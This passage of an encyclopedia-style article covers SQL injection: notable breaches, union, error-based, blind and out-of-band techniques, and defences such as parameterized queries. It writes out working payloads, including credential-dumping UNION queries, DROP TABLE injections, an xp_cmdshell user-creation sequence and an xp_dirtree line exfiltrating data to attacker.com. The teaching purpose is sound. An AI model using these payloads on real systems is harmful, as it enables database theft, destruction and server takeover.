One of the earliest major SQL injection incidents occurred in 2007 with the TJX Companies breach, where attackers exploited vulnerabilities in the retailer's wireless networks and web applications to steal approximately 45 million credit and debit card records over an 18-month period.[20] This attack, led by hacker Albert Gonzalez, highlighted the risks of unpatched web interfaces and poor input validation, resulting in over $250 million in damages and settlements for TJX.[21] In 2008, Heartland Payment Systems suffered a similar breach via SQL injection on a web form, compromising 130 million credit card records and leading to fines exceeding $140 million, underscoring the vulnerability of payment processing systems to automated exploitation techniques.[22] The 2011 Sony Pictures attack involved SQL injection flaws in forum software, exposing tens of thousands of user accounts with plaintext passwords and personal data, which contributed to broader network compromises and reputational harm for the company.[23][24] In the 2010s, SQL injection evolved with the rise of automated tools that democratized attacks, such as SQLMap, an open-source penetration testing utility first released in 2006 but widely adopted by the mid-2010s for detecting and exploiting database flaws across various SQL dialects.[25] This shift enabled faster, more scalable intrusions, moving beyond manual probing to scripted database takeovers, and was evident in increased reports of targeted financial and e-commerce breaches. By the 2020s, attackers integrated SQL injection with API endpoints and cloud environments, exploiting misconfigurations in serverless architectures and GraphQL interfaces to bypass traditional web filters.[26] Recent incidents, such as the 2023 MOVEit Transfer zero-day vulnerability (CVE-2023-34362), demonstrated this adaptation; unauthenticated attackers used SQL injection to access file transfer databases, affecting thousands of organizations in a supply chain compromise by the Cl0p ransomware group and leading to widespread data exfiltration.[27][28] In 2024, security researchers disclosed an SQL injection vulnerability (CVE-2024-8395) in the FlyCASS system used by the U.S. Transportation Security Administration (TSA), allowing unauthorized individuals to add themselves to crew member rosters and potentially bypass airport security screening.[29] The economic toll of SQL injection remains substantial, with web application attacks—including SQL injection—factoring into 12% of data breaches analyzed in the 2025 Verizon Data Breach Investigations Report.[30] According to IBM's 2025 Cost of a Data Breach Report, the average global breach cost reached $4.44 million per incident (as of breaches occurring in 2024).[31] Overall, such vulnerabilities drive billions in annual damages through fraud, remediation, and lost business, as seen in escalating ransomware campaigns originating from SQL injection entry points. Trends indicate a decline in basic SQL injection due to secure coding frameworks like ORM tools, yet sophisticated variants are rising in microservices architectures, where distributed APIs and containerized databases introduce new injection surfaces like command and NoSQL variants.[32] This evolution reflects attackers' focus on complex, cloud-native systems, with SQL injection persisting as the top web vulnerability per 2024 assessments.[33]Exploitation Techniques
Direct Output Attacks
Direct output attacks in SQL injection involve techniques where the injected malicious SQL code produces visible results or immediate effects directly in the application's response, allowing attackers to extract data or manipulate the database without relying on indirect inference methods. These attacks are classified as in-band SQL injection, as the communication channel used for the attack also serves to retrieve results. Unlike blind techniques that require multiple requests to infer information, direct output methods provide immediate feedback through query results, error messages, or observable changes in the application output.[34] A primary technique is union-based SQL injection, which exploits applications that return query results in the response by appending a malicious SELECT statement using the UNION operator to combine it with the original query. This allows attackers to dump contents from other tables, such as usernames and passwords, directly into the application's output. For example, if an application queries a product ID with the input1' UNION SELECT username, password FROM users--, the response may display sensitive user credentials alongside legitimate product data, provided the number of columns matches the original query. Attackers often use ORDER BY clauses, like ORDER BY 5--, to probe the required column count before crafting the union payload. This method is effective when the application does not sanitize inputs and echoes database results visibly.[35][34]
Error-based SQL injection leverages database error messages to extract sensitive information, forcing the database to generate exceptions that disclose internal details like table structures or data values. In vulnerable applications that propagate errors to the user interface, an input such as 10'||UTL_INADDR.GET_HOST_NAME((SELECT user FROM DUAL))-- might trigger an Oracle error like ORA-292257: host SCOTT unknown, revealing the database user or other configuration data. Attackers can chain functions, such as UTL_INADDR.GET_HOST_NAME, to encode and extract larger data snippets through successive errors. This technique is particularly useful for reconnaissance, enabling the dumping of credit card numbers or other confidential records via progressively refined error-inducing payloads.[34]
Beyond data extraction, direct output attacks can execute data definition language (DDL) or data manipulation language (DML) statements to tamper with the database, with effects often confirmed through application feedback like success messages or altered page content. For instance, an injection like ' ; DROP TABLE users; -- appended to a login query can delete an entire table, and if the application displays a confirmation or subsequent error due to the missing table, the attack's success is immediately apparent. Similarly, DML injections such as ' ; INSERT INTO logs VALUES ('attacker', 'breach'); -- can insert unauthorized records, potentially visible if the application queries and displays the modified data in real-time. These actions exploit the same input vulnerabilities but focus on destructive or altering outcomes rather than pure retrieval.[3][1]
Detection of direct output attacks often manifests through anomalous application behavior, such as unexpected data appearing in search results, verbose error messages exposing SQL syntax or database versions, or sudden changes like missing content after a presumed deletion. Security logs may reveal concatenated queries or unusual parameter values, while web application firewalls can flag patterns like UNION keywords or comment terminators in inputs. These signs are critical for identifying active exploitation before further damage occurs.[34]
Blind Exploitation Methods
Blind SQL injection, also known as inference-based SQL injection, occurs when an attacker cannot directly observe the results of an injected query in the application's output, such as in error messages or page content, but instead infers database information by observing changes in the application's behavior or response characteristics.[36][37] This contrasts with direct output attacks, where query results are immediately visible in the response.[8] Boolean-based blind SQL injection exploits the application's differential responses to true or false conditions injected into the SQL query, allowing the attacker to extract data bit by bit. For example, an attacker might append a condition like' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE id=1)='a'-- to a login query; if the page loads normally (indicating a true result), the first character of the password is 'a', whereas an altered or empty page suggests false, prompting iteration through possible values.[8] This method relies on observable differences in page content, such as the presence or absence of elements, to deduce information without direct database output.[37]
A prominent example from the PortSwigger Web Security Academy uses a vulnerable TrackingId cookie processed in a query such as SELECT TrackingId FROM TrackedUsers WHERE TrackingId = '[input]'. The application displays a "Welcome back" message if the query returns a row (indicating a known TrackingId). Attackers send modified requests using curl and check for the presence of this message to infer boolean outcomes.[38]
- Test true condition:
(A match indicates true, as the page includes "Welcome back".)curl -s -b "TrackingId=xyz' AND '1'='1" https://vulnerable-site | grep -q "Welcome back" - Test false condition:
(No match indicates false.)curl -s -b "TrackingId=xyz' AND '1'='2" https://vulnerable-site | grep -q "Welcome back" - Extract data, e.g., check if the administrator password starts with 'a':
(A match means true; the process repeats with different characters and positions, using brute-force or binary search, to reconstruct the value character by character.)curl -s -b "TrackingId=xyz' AND SUBSTRING((SELECT password FROM users WHERE username='administrator'),1,1)='a" https://vulnerable-site | grep -q "Welcome back"
' AND IF((SELECT SUBSTRING(password,1,1) FROM users WHERE id=1)='a', SLEEP(5), 0)-- causes a 5-second delay if the condition is true, allowing the attacker to confirm the password character based on whether the response is delayed.[36] This technique is particularly useful when boolean-based methods fail due to no visible content changes, as it depends solely on timing variations that can be automated with scripting.[39]
Out-of-band SQL injection retrieves data through alternative communication channels outside the application's normal response path, such as DNS resolutions or HTTP requests initiated by the database server. For example, in Microsoft SQL Server using xp_dirtree, an attacker might inject '; DECLARE @host varchar(1024); SELECT @host = (SELECT TOP 1 name FROM sys.databases); EXEC('master..xp_dirtree "//'+@host+'.attacker.com/x"');-- to encode database names in DNS queries sent to the attacker's controlled domain, capturing the exfiltrated data via DNS logs.[40] This method bypasses limitations of in-band responses and is effective when network access allows external connections from the database.[34]
Tools like SQLMap automate blind exploitation through dedicated modes for these techniques, supporting detection and data extraction across various database management systems. SQLMap's boolean-based blind mode (--technique=B) iteratively tests conditions to infer data, while the time-based mode (--technique=T) uses sleep functions for timing analysis, and out-of-band channels are handled via options like --dns-domain for DNS exfiltration.[41]
Advanced Variants
Second-order SQL injection, also known as stored SQL injection, occurs when malicious input is first stored in the database without immediate execution and is later retrieved and incorporated into a subsequent SQL query in an unsafe manner, potentially allowing attackers to manipulate database operations at a delayed time.[42] For instance, an attacker might submit a seemingly innocuous input, such as a malicious email address like'; DROP TABLE users; --, during user registration; this payload remains dormant until an administrator queries the database for that email, at which point the injected code executes, potentially deleting sensitive data.[3] This variant is particularly insidious because input validation may occur only at the storage phase, overlooking the risks in later retrieval queries, making it harder to detect through standard scanning tools that focus on immediate responses.[42]
Database-specific exploits leverage proprietary features of SQL engines to amplify the impact of injections, often enabling system-level access or advanced data exfiltration. In Microsoft SQL Server (MSSQL), attackers can exploit vulnerabilities to enable and invoke the xp_cmdshell extended stored procedure, which executes operating system commands directly from the database; for example, following a successful injection to grant execution privileges with EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;, the payload EXEC xp_cmdshell 'net user hacker password /add'; could create a new system user, escalating to remote code execution.[43] Oracle databases present opportunities through packages like DBMS_XMLGEN, which converts arbitrary SQL queries to XML output; an injected query such as SELECT DBMS_XMLGEN.getXml('SELECT * FROM all_users') FROM dual can extract schema metadata or sensitive data like usernames without requiring direct table access, bypassing restrictions since the package is granted to PUBLIC by default.[44]
Compound attacks integrate SQL injection with other web vulnerabilities to escalate privileges or broaden attack surfaces. For example, an attacker might use SQL injection to insert a malicious script into a database field, which is then rendered via a cross-site scripting (XSS) vulnerability on a user-facing page, allowing session hijacking or further payload delivery to other users.[45] Similarly, combining SQL injection with cross-site request forgery (CSRF) can trick authenticated users into executing unauthorized database modifications; an injected payload stored via SQLi could be triggered by a forged request, altering account details without the victim's knowledge.[46]
In the 2020s, emerging variants have adapted SQL injection principles to hybrid environments, particularly NoSQL databases and GraphQL backends that interface with relational systems. NoSQL injection targets query languages like MongoDB's JSON-like syntax, where unsanitized inputs can manipulate operators (e.g., injecting {"$ne": null} to bypass authentication), often in hybrid setups blending NoSQL with SQL for scalability, leading to data leaks or unauthorized access.[47] GraphQL APIs, when backed by SQL databases, are susceptible to injection if resolvers concatenate user inputs into backend queries; for instance, a vulnerable introspection query might allow payloads like query { users(id: "1' OR '1'='1") { id } } to extract all user records, exploiting the API's flexibility for denial-of-service or mass data exfiltration.[48]
Prevention Strategies
Primary Defenses
The primary defenses against SQL injection focus on proactive measures at the application code and database configuration levels to ensure that user input cannot alter the intended structure of SQL queries. These techniques emphasize separating executable code from data, validating inputs against strict criteria, and limiting the potential impact of any breach through access controls. By implementing these core practices, developers can mitigate the risk of injection attacks without relying on reactive or supplementary tools.[14] Parameterized statements, also known as prepared statements, represent the most effective primary defense by treating user input as literal data rather than executable SQL code. In this approach, the SQL query is predefined with placeholders (such as? or named parameters like :param), and input values are bound separately, preventing concatenation that could allow malicious payloads to modify the query. For instance, in Java using JDBC's PreparedStatement, a vulnerable query like SELECT * FROM users WHERE id = '" + userId + "'" can be rewritten securely as follows:
String sql = "SELECT * FROM users WHERE id = ?";
PreparedStatement pstmt = connection.prepareStatement(sql);
pstmt.setString(1, userId);
ResultSet rs = pstmt.executeQuery();
This ensures that even if userId contains a payload like ' OR '1'='1, it is escaped and treated as a string value, not part of the SQL syntax. Similarly, in Python with the psycopg2 library for PostgreSQL, the equivalent secure implementation uses %s placeholders:
import psycopg2
conn = psycopg2.connect("dbname=test user=postgres")
cur = conn.cursor()
cur.execute("SELECT * FROM users WHERE id = %s", (user_id,))
rows = cur.fetchall()
cur.close()
conn.close()
The database driver handles parameterization automatically, making it robust across different database systems like MySQL, PostgreSQL, and Oracle.[14][49][50]
Allow-list validation, or whitelisting, complements parameterization by enforcing strict rules on input formats before it reaches the database, rejecting anything that does not match expected patterns. This technique defines precisely what constitutes valid input—such as accepting only digits for numeric IDs or specific character sets for usernames—using mechanisms like regular expressions, thereby blocking injection attempts that rely on special characters like quotes or semicolons. For example, to validate a user ID expected to be a positive integer, a server-side check might use a regex like ^\d+$ to ensure it contains only digits, discarding inputs like 1; DROP TABLE users. OWASP recommends applying this validation as early as possible in the request lifecycle, combined with logging of rejected inputs for security monitoring. While not a standalone defense against all injection vectors, it significantly reduces the attack surface when paired with parameterization.[51][14]
The principle of least privilege further strengthens defenses by configuring database user accounts with minimal necessary permissions, limiting the damage even if an injection occurs. Application-specific database users should be granted only the exact privileges required for operations, such as SELECT and INSERT on specific tables, while explicitly denying destructive actions like DROP or ALTER. For instance, in a web application, the database account might be restricted to read/write access on user data tables without schema modification rights, preventing an attacker from executing commands like DROP TABLE via injection. This approach involves creating separate, low-privilege accounts for different environments (e.g., development vs. production) and using features like restricted views or row-level security to enforce granular controls. OWASP emphasizes avoiding superuser accounts like root or sa for application connections to enforce this isolation.[52][14]
Supporting Measures
Object-relational mappers (ORMs) serve as auxiliary tools that enhance SQL injection defenses by abstracting database interactions and automatically applying parameterization to user inputs. Tools like Hibernate for Java applications generate SQL queries using prepared statements under the hood, binding parameters separately from the query structure to prevent malicious input from altering the intended SQL logic.[49] Similarly, SQLAlchemy in Python employs ORM mapping classes that parameterize queries, ensuring user-supplied data is treated as literals rather than executable code, thereby reducing the risk of injection when developers avoid raw SQL concatenation.[53] These ORMs promote safer development by encouraging object-oriented query construction, which inherently separates data from commands, though they require proper usage to avoid vulnerabilities like ORM-specific injections.[14] Web application firewalls (WAFs) provide an additional layer of runtime protection by inspecting incoming traffic for SQL injection patterns before it reaches the application. ModSecurity, an open-source WAF engine, integrates with the OWASP Core Rule Set (CRS), which includes rules specifically designed to detect common SQL injection signatures such as tautologies (e.g., ' OR '1'='1), union-based attacks, and error-based payloads.[54] These rules analyze HTTP requests in real-time, blocking or alerting on anomalous payloads while allowing legitimate traffic, thus complementing code-level defenses in dynamic environments.[55] Input sanitization layers extend beyond simple allow-lists by incorporating encoding and context-aware validation to neutralize potentially malicious characters in user inputs. For SQL contexts, this involves applying database-specific escaping functions or libraries that transform special characters (e.g., quotes and semicolons) into safe representations without altering the data's semantic meaning, ensuring they cannot be interpreted as SQL operators.[51] Context-aware approaches further validate inputs against expected formats—such as numeric ranges for IDs or length limits for strings—while encoding outputs for downstream contexts like HTML or JSON to prevent chained exploits, providing a multi-layered filter that catches edge cases missed by primary parameterization.[14] In Python applications handling JSON data from frontend sources, such as REST APIs, the built-injson module enables secure parsing of payloads without introducing injection risks during deserialization. The parsed data should then undergo validation using libraries such as Pydantic for type-safe model enforcement or jsonschema for schema compliance to confirm adherence to expected structures, types, and constraints. Validated values are subsequently passed as parameters in queries via database libraries or ORMs like SQLAlchemy. No single Python library specifically prevents SQL injection for JSON data from the frontend; the standard and reliable approach combines safe JSON parsing with the built-in json module, rigorous input validation, and parameterized queries while strictly avoiding string concatenation or interpolation for SQL query construction.[56][57][58][53]
Monitoring practices bolster prevention through proactive anomaly detection by logging database queries and integrating them into security information and event management (SIEM) systems. These systems collect and analyze query logs for irregularities, such as unexpected keywords (e.g., UNION or DROP) or unusual query volumes, enabling real-time alerts on potential injections.[59] Tools like SIEM platforms correlate database events with application logs to identify behavioral anomalies, facilitating rapid incident response and forensic analysis without relying solely on preventive measures.[60]
Outdated Practices
One historical approach to mitigating SQL injection involved string escaping, where functions such as PHP'smysql_real_escape_string() were used to prepend backslashes to special characters like single quotes, double quotes, null bytes, and backslashes in user input before incorporating it into SQL queries.[61] However, this method has significant flaws, including failure to handle edge cases like null bytes in certain contexts and vulnerabilities arising from multi-byte character encodings, such as GBK, where escaped sequences can be reinterpreted to allow injection.[62] For instance, mismatches between client and server encodings can bypass escaping entirely, rendering the function unreliable.[62]
Another outdated practice was blacklist filtering, which attempted to block known malicious input patterns, such as the string ' OR 1=1, by scanning and rejecting queries containing these elements before execution.[3] This approach is inherently flawed, as attackers can easily bypass filters through techniques like character encoding variations or alternative representations that evade the predefined blocklist.[3]
These methods have been deprecated since the early 2010s due to their unreliability in dynamic SQL queries, where human error in implementation often leads to incomplete protection, as emphasized in OWASP guidelines.[14] OWASP strongly discourages relying on string escaping as a primary defense, describing it as fragile and database-specific, while deny-listing (blacklisting) is riddled with loopholes that fail to address the full spectrum of injection risks.[14][3] Instead, applications using these practices should migrate to parameterized queries or prepared statements, which separate SQL code from data and eliminate injection vulnerabilities by design.[14]
Real-World Applications
Practical Examples
Practical examples illustrate how SQL injection vulnerabilities manifest in code and can be exploited, as well as how to mitigate them effectively. These demonstrations use common programming languages like PHP and databases like MySQL, drawing from established security resources to show real-world applicability without risking production systems.[14] A classic vulnerability occurs in login forms where user input is directly concatenated into SQL queries, allowing attackers to bypass authentication. Consider a PHP script handling login credentials:<?php
$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($connection, $query);
if (mysqli_num_rows($result) > 0) {
// Login successful
} else {
// Login failed
}
?>
This code is susceptible because it embeds unsanitized input directly into the query string. An attacker can input admin' -- for the username and any value for the password, resulting in the query SELECT * FROM users WHERE username = 'admin' --' AND password = 'anything'. The -- comments out the password check, granting access if an 'admin' user exists.[1]
In an e-commerce application, a search feature querying product details can be exploited to extract sensitive data via UNION-based injection. For instance, a vulnerable search query might be:
SELECT name, price FROM products WHERE name = 'input';
If the application accepts user input for 'input' without validation, an attacker could submit ' UNION SELECT username, credit_card FROM users--, appending a query that retrieves usernames and credit card numbers from a users table. This dumps unauthorized data alongside legitimate product results, potentially exposing customer information in a retail context.[35]
To secure such code, rewrite it using prepared statements, which separate SQL logic from data input. The vulnerable login example above can be fixed as follows:
Vulnerable (as shown earlier):
$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($connection, $query);
Secure (using prepared statements):
$stmt = $connection->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
$result = $stmt->get_result();
if ($result->num_rows > 0) {
// Login successful
} else {
// Login failed
}
Here, placeholders (?) ensure input is treated as data, not executable code, preventing injection even if malicious strings like ' OR '1'='1 are provided. Similarly, the e-commerce search can use SELECT name, price FROM products WHERE name = ? with bound parameters. This approach is recommended as a primary defense by security standards.[14]
For safe experimentation, set up a controlled lab environment using Damn Vulnerable Web Application (DVWA), an open-source PHP/MySQL tool designed for security training. Install DVWA on a local server (e.g., via XAMPP), configure database access, and adjust security levels from "low" (vulnerable) to "high" (mitigated) to test injections like login bypass or UNION attacks on its SQL injection module. This isolates practice from real networks, allowing ethical skill-building.[63]

